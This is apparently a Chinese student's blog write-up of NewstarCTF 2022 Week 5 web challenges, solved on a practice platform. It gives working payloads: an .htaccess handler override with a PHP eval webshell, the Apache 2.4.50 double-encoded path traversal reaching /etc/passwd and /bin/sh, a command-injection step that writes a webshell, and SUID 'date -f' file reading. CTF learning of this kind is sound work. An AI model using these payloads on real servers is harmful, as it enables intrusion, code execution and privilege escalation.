首页 > 其他分享 >[Writeup]2022 NewstarCTF_Week5(Web部分)

[Writeup]2022 NewstarCTF_Week5(Web部分)

时间:2023-09-18 16:34:02浏览次数:39  
标签:Web NewstarCTF 32% .%% x5f num 65 Week5 payload


一只网络安全菜鸟--(˙<>˙)/--
写博客主要是想记录一下自己的学习过程,过两年毕业了也能回头看看自己都学了些啥东西。
由于本人水平有限内容难免有错误、疏漏、逻辑不清、让人看不懂等各种问题,恳请大家批评指正
如果我写的东西能对你有一点点帮助,那真是再好不过了。

2023 Newstar CTF就要开始了,在buuctf上把去年的题做了一下,虽然是新生赛但仍有挺多我不知道的知识。。感觉web我才走完几千分之一的路程

Give me your photo PLZ

image
任意文件上传?直接来个直球:
image
image
这时候我懒得搞直接尝试上传配置文件了。。没想到竟然上传成功了:

<FilesMatch "test1.png">
SetHandler application/x-httpd-php
</FilesMatch>

上传个test1.png看看:

GIF89a
<script language='php'>@eval($_POST['viper']);</script>
<script language='php'>@eval($_GET['notbad']);</script>

不回显上传路径就F12看网络,查查这东西传到哪去了:
image
访问http://aaa01a0a-38c2-4b57-a1b2-54a4ce580100.node4.buuoj.cn:81/upload/test1.png
image
回显了欺骗头,直接蚁剑连:
image
看flag:
image
可惜,它说在env里,那就给viper传个phpinfo();看environment里有啥东西:
image
得到flag。

Unsafe Apache

image
看源码啥也没有,burpsuite抓下包看看啥情况:
image
response包里提示了版本:Apache/2.4.50,根据题目直接找这个版本的Apache有啥漏洞:
https://www.cnblogs.com/RichardYg/p/16272796.html//参考了这位师傅的文章,感谢
看了一下这东西可以通过目录穿越去读除了web目录之外的文件,直接用现成的payload:
/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
image
读了etc/passwd?
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
image
image
echo;cat /ffffllllaaagggg_cc084c485d;
image
image
这题感觉根本没做明白。。就是找现成的命令放上去了。。

So Baby RCE Again

<?php
error_reporting(0);
if(isset($_GET["cmd"])){
    if(preg_match('/bash|curl/i',$_GET["cmd"])){
        echo "Hacker!";
    }else{
        shell_exec($_GET["cmd"]); //只执行但不回显
    }
}else{
    show_source(__FILE__);
}

image
可以在命令后添加一个>重定向符把输出存到某个文件中,这个文件默认路径就是当前目录,比如:
echo '11111<?php @eval($_POST[1])?>' > webshell.php
会把这东西存到webshell.php中,默认路径就是当前目录,然后直接在当前目录访问webshell.php就行了。
/?cmd=ls -al / > viper3.txt
访问viper3.txt:
image
有个ffll444aaggg,直接cat读:
/?cmd=cat /ffll444aaggg > txy.txt
image
txy.txt啥也没有。。后来看了wp才知道没权限读,回过头看下ls -al /后和ffll444aaggg的权限都是啥:
-rwx------ 1 root root 43 Sep 13 11:17 ffll444aaggg
第一个-意思是它是个文件,如果是d的话就是目录了。r、w、x分别代表读、写、执行的权限(后面九位分别是所有者、除所有者外的同组人员、组外人员)。根用户权限最大,对根用户限制没啥用。目前看是没权限读这个文件的。
感谢这位师傅的wp:
https://mochu.blog.csdn.net/article/details/127354492?spm=1001.2014.3001.5502
了解了一下SUID提权,先放上SUID和SUID提权的概念(问的GPT),以及鸟叔的Linux私房菜里的一些解释:
image
image
image
看下shadow和passwd这俩东西的权限:
image
image
说说我这个小白的个人理解:ffll444aaggg只让根用户root读写执行其它用户没这权限。但如果某个可执行文件具有SUID权限时,普通用户执行它就会临时"变成"根用户,进而执行某些命令。那我可以去找拥有SUID的某个可执行文件,然后执行它去读ffll444aaggg这东西。
/?cmd=find / -perm -u=s -type f 2>/dev/null>123.txt //查看具有SUID权限的命令
image
结果:
image
师傅们的wp里都说用这个date命令:
date -f命令:
这东西是个根据内容读出日期的命令,比如我用vim写个东西:

vim /home/viper3/hellodajia.txt

内容:

2023-9-11 15:15:15

然后 按esc 输入     :wp

然后

date -f /home/viper3/hellodajia.txt

image
他会出这种东西
那让他读一些非时间的文件呢?比如hello.txt的内容是:

hello world!
yes
no
whyA

image
date -f /home/viper3.hello.txt看看结果:
image
这东西以报错的形式把文档内容读出来了。
所以我们可以用date -f 命令去读某些东西。
?cmd=date -f /ffll444aaggg 2> 9.txt //注意这里要用错误重定向,我个人理解是因为这东西要依靠报错把内容读出来
结果:
image

BabySSTI_Three

先看看是啥模板,根据前两题经验直接/?name={{7*'7'}}
image
7个7,还是Jinja2。
尝试了一下这题是在前两题上新增了过滤:应该只增加了冒号(

标签:Web,NewstarCTF,32%,.%%,x5f,num,65,Week5,payload
From: https://www.cnblogs.com/notbad3/p/17690269.html

相关文章

  • 图扑物联 | WEB组态可视化软件
    01什么是组态?组态的概念来自于20世纪70年代中期出现的第一代集散控制系统(DistributedControlSystem),可理解为“配置”、“设置”等,是指通过人机开发界面,用类似“搭积木”的简单方式来搭建软件功能,而不需要编写计算机程序。我们也可称之为“二次开发”,组态软件即为“二次开发平台......
  • FSICO-BACOS单机四节点到Webase平台搭建简洁步骤
    bashbuild_chain.sh-l127.0.0.1:4-p30300,20200,8545其中-l指定ip列表,-p表示p2p,....端口号,生成的四个节点端口号为30300~30303安装ubuntu依赖sudoaptinstall-yopensslcurl安装centos依赖sudoyuminstall-yopensslopenssl-devel第二步.创建操作目......
  • Selenium+dddocr轻松解决Web自动化验证码识别
    大家好,我是狂师,今天给大家推荐一款验证码识别神器:dddocr。1、介绍dddocr是一个基于深度学习的OCR(OpticalCharacterRecognition,光学字符识别)库,用于识别图片中的文字。它可以识别各种类型的文字,包括印刷体、手写体、表格、条形码等。dddocr库使用了深度卷积神经网络(CNN)和循环神......
  • vs打开项目出现“尚未配置为Web项目XXXX指定的本地IIS URL HTTP://localhost:…… .要
    用把工程文件(.vcxproj文件打开找到如下代码片段 ,请将下面片段代码中的(最好用notepad++打开)<UseIIS>True</UseIIS>、<AutoAssignPort>True</AutoAssignPort>节点的值改为False<WebProjectProperties><UseIIS>True</UseIIS><AutoAssignPor......
  • ASP.Net Web项目调试运行没问题,发布后一直403
    ASP.NetWeb项目调试运行没问题,发布一直403因为换了仓库,同事移了下项目,然后就如标题了,经过几个小时排查,发现项目中只有Global.asax.cs而Global.asax没有包含进项目…特此记录下......
  • vue打包后webview加载本地html显示空白页的解决历程
    vue打包后放进androidasserts中webview死活加载不出本地html,一直显示空白,AndroidStudioLogcat也没个啥提示,用浏览器打开却是正常,单独建了html文件放进去也能显示,上火,只好重载webview的事件来获取报错内容:webView.setWebViewClient(newWebViewClient(){@Override......
  • 基于javaweb远程教育网站开发与实现-计算机毕业设计源码+LW文档
    一、课题简介本课题将设计并实现一个基于JAVAWEB远程教育网站,根据课题的需求制定技术开发方案,可分别实现管理员与普通用户的注册、登录功能,可以实现客户端C++编程语言课程视频选取播放、学习进度记录、问答咨询论坛、在线测试等功能,实现服务端相关数据表的增删改查功能以及学生注......
  • WEB组态编辑器插件(BY组态)介绍
    BY组态是一款非常优秀的纯前端的【web组态插件工具】,采用标准HTML5技术,基于B/S架构进行开发,支持WEB端呈现,支持在浏览器端完成便捷的人机交互,简单的拖拽即可完成可视化页面的设计。可无缝嵌入到vue项目,react项目等,由于是原生js开发,对于前端的集成没有框架的限制。可快速构建和部署......
  • 页面输出太多会严重影响web程序的性能
    我有这样一个小程序:asp+sqlserver2000。数据量增加的很快,最近发现它的性能非常差,每次打开都需要十几秒,甚至几十秒,因为我的程序分页用的是我自己的分页程序:难道这个分页程序有问题,但是其他地方用到它没有感觉到慢呀,我没事就琢磨他,到网上查资料,结果没有具体查到说到我......
  • web打印时隐藏按钮及其他信息的方法讨论
    作者:塞北的雪(northsnow)web打印是困扰很多web开发人员的问题。有很多人提出了不同的web打印解决方案,还有很多的商业报表设计器来帮我们(需要付费的,我想很多人不想花这个钱),以前我也写过一篇关于web打印解决方案的文章:本文不会讨论这个问题。如果大家对于web打印各种解决......